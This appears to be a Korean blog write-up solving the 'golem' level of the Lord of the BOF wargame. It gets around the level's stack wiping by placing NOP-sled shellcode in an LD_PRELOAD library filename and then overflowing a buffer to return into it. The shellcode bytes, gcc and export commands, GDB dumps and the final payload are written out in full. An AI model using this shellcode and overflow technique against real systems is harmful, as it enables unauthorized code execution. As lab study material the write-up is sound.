본문 바로가기

WarGame/LOB

[LOB] skeleton :: LD_PRELOAD를 이용한 BOF


  • User : skeleton
  • 문제 : golem


golem.c의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
/*
        The Lord of the BOF : The Fellowship of the BOF
        - golem
        - stack destroyer
*/
 
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]); // Vulnerability!!!
        printf("%s\n", buffer);
 
        // stack destroyer!
        memset(buffer, 044);
        memset(buffer+4800xbfffffff - (int)(buffer+48));
}
cs


//stack destroyer! 부분에서 buffer와 buffer+48에서 0xbfffffff까지 모두 0으로 초기화 시키고 있습니다. 아래와 같이 GDB를 이용해서 확인해 보면 이전 문제와 다르게 환경변수 영역에서 실행 파일까지 모두 초기화되어 있는 것을 확인할 수 있습니다. 따라서 LD_PRELOAD 환경변수를 이용하여 문제를 해결하겠습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
(gdb)
0xbfffff48:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff58:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff68:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff78:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff88:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffff98:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffffa8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffffb8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffffc8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffffd8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbfffffe8:     0x00000000      0x00000000      0x00000000      0x00000000
0xbffffff8:     0x00000000      0x00000000      Cannot access memory at address 0xc0000000
cs


 

※ LD_PRELOAD

프로세스를 실행하는 중에 라이브러리를 로딩할 때, LD_PRELOAD 환경변수가 설정되어 있으면 해당 변수에 지정된 라이브러리를 먼저 로딩하고, 이중 libc 함수명과 동일한 함수가 있다면 해당 함수를 먼저 호출해 줍니다. 이러한 특성을 이용하여 후킹도 할 수 있습니다.


[참고] http://ddubucker.tistory.com/entry/LDPRELOAD-%ED%9B%84%ED%82%B9-%EA%B8%B0%EB%B2%95



LD_PRELOAD의 메모리 영역은 공유 라이브러리 영역인 Stack의 지역 변수(buffer) 영역 위(낮은 주소)에 존재합니다.


------------------------------------------------------------------------------------------------

| Code | Data | BSS | Heap | 공유 라이브러리 | buffer | SFP | RET | argc, argv | env, etc |

------------------------------------------------------------------------------------------------


Step 1. 다음과 같은 절차로 LD_PRELOAD 환경변수를 등록합니다. 먼저 tmp.c 라는 빈 파일을 만들고 해당 파일을 NOP 코드와 shellcode로 구성된 파일명으로 컴파일 합니다. 이때 -fPIC -shared 옵션으로 컴파일 합니다. 그리고 export LD_PRELOAD 명령어로 해당 파일을 등록합니다. 이때 파일명을 반드시 절대 경로로 지정해야 오류가 나지 않습니다.



-fPIC 옵션 Position-Independent Code의 약자이며 test.o파일을 동적라이브러리로 사용하도록 컴파일 하는 옵션

-shared 옵션 :  공유 라이브러리를 만드는 옵션



1
2
3
4
5
6
7
[skeleton@localhost tmp]$ touch tmp.c
[skeleton@localhost tmp]$ gcc -fPIC -shared tmp.c -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80
\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f
\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`
[skeleton@localhost tmp]$ export LD_PRELOAD="/home/skeleton/tmp/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9
\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69
\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"'`"
cs


Step 2. GDB를 이용하여 shellcode가 포함되어 있는 LD_PRELOAD의 위치를 파악합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(gdb) b *main
Breakpoint 1 at 0x8048470
(gdb) r `python -c 'print "\xbf"*48'`
Starting program: /home/skeleton/tmp/golem `python -c 'print "\xbf"*48'`
 
Breakpoint 1, 0x8048470 in main ()
(gdb) x/60x $esp-3000
0xbfffee64:     0x0000037d      0x00000000      0x0000038c      0x00000000
0xbfffee74:     0x000000cb      0x0000059b      0x00000707      0x00000557
0xbfffee84:     0x00000000      0x00000564      0x00000000      0x00000301
0xbfffee94:     0x0000048e      0x00000550      0x00000000      0x0000067f
...
0xbffff584:     0x6d6f682f      0x6b732f65      0x74656c65      0x742f6e6f
0xbffff594:     0x902f706d      0x90909090      0x90909090      0x90909090
0xbffff5a4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5b4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5c4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5d4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5e4:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff5f4:     0x90909090      0xeb909090      0xc9315e11      0x6c8032b1
0xbffff604:     0x8001ff0e      0xf67501e9      0xeae805eb      0x32ffffff
0xbffff614:     0x306951c1      0x69697430      0x6f6a6330      0x5451e48a
0xbffff624:     0xb19ae28a      0x0081ce0c      0x40013868      0x4000220c
0xbffff634:     0xbffffb64      0x00000000      0x00000000      0x00000000
cs


Step 3. 다음과 같은 payload를 만들 수 있습니다. RET 값을 위에서 찾은 LD_PRELAOD의 주소값으로 수정합니다.


1
[skeleton@localhost tmp]$ ./golem `python -c 'print "A"*44+"\xc4\xf5\xff\xbf"'`
cs